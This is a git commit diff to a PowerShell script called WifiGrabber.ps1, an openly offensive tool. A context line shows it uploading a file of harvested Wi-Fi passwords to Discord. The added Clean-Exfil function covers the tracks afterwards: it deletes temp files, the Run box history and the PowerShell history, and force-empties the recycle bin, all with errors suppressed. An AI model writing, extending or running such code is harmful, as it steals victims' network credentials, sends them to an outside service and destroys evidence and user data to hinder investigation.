Update WifiGrabber.ps1
This commit is contained in:
@@ -62,5 +62,25 @@ if (-not ([string]::IsNullOrEmpty($dc))){Upload-Discord -file "$env:TEMP/--wifi-
|
||||
|
||||
############################################################################################################################################################
|
||||
|
||||
function Clean-Exfil {
|
||||
|
||||
# empty temp folder
|
||||
rm $env:TEMP\* -r -Force -ErrorAction SilentlyContinue
|
||||
|
||||
# delete run box history
|
||||
reg delete HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU /va /f -ErrorAction SilentlyContinue
|
||||
|
||||
# Delete powershell history
|
||||
Remove-Item (Get-PSreadlineOption).HistorySavePath -ErrorAction SilentlyContinue
|
||||
|
||||
# Empty recycle bin
|
||||
Clear-RecycleBin -Force -ErrorAction SilentlyContinue
|
||||
|
||||
}
|
||||
|
||||
############################################################################################################################################################
|
||||
|
||||
if (-not ([string]::IsNullOrEmpty($ce))){Clean-Exfil}
|
||||
|
||||
|
||||
RI $env:TEMP/--wifi-pass.txt
|
||||
|
||||
Reference in New Issue
Block a user